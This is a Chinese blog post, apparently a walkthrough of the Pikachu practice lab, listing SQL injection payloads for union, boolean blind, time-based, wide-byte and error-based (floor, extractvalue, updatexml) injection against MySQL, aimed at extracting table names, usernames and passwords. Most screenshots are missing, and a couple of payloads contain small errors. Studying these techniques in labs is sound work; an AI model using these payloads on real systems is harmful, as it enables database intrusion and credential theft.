欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

SQL 注入的代码

程序员文章站 2023-12-22 10:44:44
...

目录

盲注

常规型

布尔型​

延时

宽字节注入

报错注入


盲注

常规型

SQL 注入的代码

 

SQL 注入的代码

 

SQL 注入的代码

 

SQL 注入的代码

SQL 注入的代码

SQL 注入的代码

SQL 注入的代码

 MYSQL数据库版本5.0以上有一个information_scheam表存着关于MySQL服务器所维护的所有其他数据库的信息.如数据库名,数据库的表,表栏的数据类型与访问权限等。

-lucy' union select group_concat(table_name),2 from information_schema.tables where (table_schema='pikachu') -- +

解释:使用group_concat函数让数据显示在一列。 

SQL 注入的代码

查看users表里username和password的内容

SQL 注入的代码

布尔型SQL 注入的代码

SQL 注入的代码 或者

SQL 注入的代码

SQL 注入的代码

 

判断当前数据库名字的第一位字符

kucy' and left(database(),1)='§a§'--+ 

解释:

    1.left的作用就是获取某个数据的第几个值,在通过大于/小于/等于来判断当前值

    2.判断当前数据库名字的第二位只需把left函数里的值改2,把已经**出来的每一位填上,如此类推就可以得知数据库名字了。

SQL 注入的代码

 判断当前数据库第二位字符

lucy' and left(database(),2)>'p§a§'--+

解释:

    1.把left函数里的1改为当前要注入的位数2

    2.注意要把前面盲注出来的第一个字符“p”填上 

重复该步骤**出当前数据库pikachu


**指定数据库第一个表名第一位字符

' and left((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1)='§a§'--+

**指定数据库第一个表名第二位字符

' and left((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),2)='h§a§'--+

**指定数据库第二个表名第一位字符

' and left((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1)='§a§'--+

通这种方法**出当前数据库的所有表(httpinfo,member,message,users,xssblind)

**users表里的第一个表头的第一位

' and left((select column_name from information_schema.columns where table_name="users" limit 0,1),1)='§a§'--+

**users表里的第一个表头的第二位

' and left((select column_name from information_schema.columns where table_name="users" limit 0,1),2)='u§a§'--+

**users表里的第二个表头的第一位

' and left((select column_name from information_schema.columns where table_name="users" limit 1,1),1)='§a§'--+

**users表里的第二个表头的第二位

' and left((select column_name from information_schema.columns where table_name="users" limit 1,1),2)='f§a§'--+

根据这种方法可以列出所有表头,管理员信息存放在username,password里

继续**username,password的内容

**表头username第一列的第一个字符

' and left((select username from users limit 0,1),1)='§a§'--+

**表头username第一列的第二个字符

' and left((select username from users limit 0,1),2)='a§a§'--+

**表头password第一列的第一个字符

' and left((select password from users limit 0,1),1)='§a§'--+

**表头password第一列的第二个字符

' and left((select username from users limit 0,1),2)='e§a§'--+

延时

延时注入:根据服务器返回时间确定注入语句是否成立

SQL 注入的代码

SQL 注入的代码

 判断当前数据库名长度

'and if(length(database())=1,1,sleep(3))#

宽字节注入

宽字符是指多个字节宽度的编码,如UNICODE、GBK、BIG5等。转义函数在对这些编码进行转义时会丢掉转义字符“\”(编码后即将它转换为%5C),而刚好在前面跟上“%df”即“%df%5C“,解码是一个汉字”運“,这样就可以成功闭合转义符”\”,所以产生宽字节注入。

SQL 注入的代码

SQL 注入的代码

SQL 注入的代码

 报错注入

从“insert注入”和“update注入”的注入语句就可以看出有少许差异,而实质上确实有点区别。“insert注入”的主要功能点在插入表单,所以注入前后都需要用or来连接注入,不能用and连接并且后面语句不能注释,否则传入Mysql数据库的查询语句就会出现语句逻辑出错,无法进行注入。

“update注入”的主要功能点在更新表单,查看PHP源码的传入数据库命令可知,在这种情况下如果存在报错注入,可以直接用and连接注入语句注释后面语句,实际传入数据库的语句并不会出现逻辑错误。

No.1:floor

  •  
' and (select  count(*)  from information_schema.tables group by concat((select version()),floor(rand(0)*2)))#

No.2:extractvalue

  •  
' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

No.3:updatexml

  •  
' and updatexml(1,concat(0x7e,(select user())),0x7e)#

SQL 注入的代码

SQL 注入的代码

SQL 注入的代码

 

上一篇:

下一篇: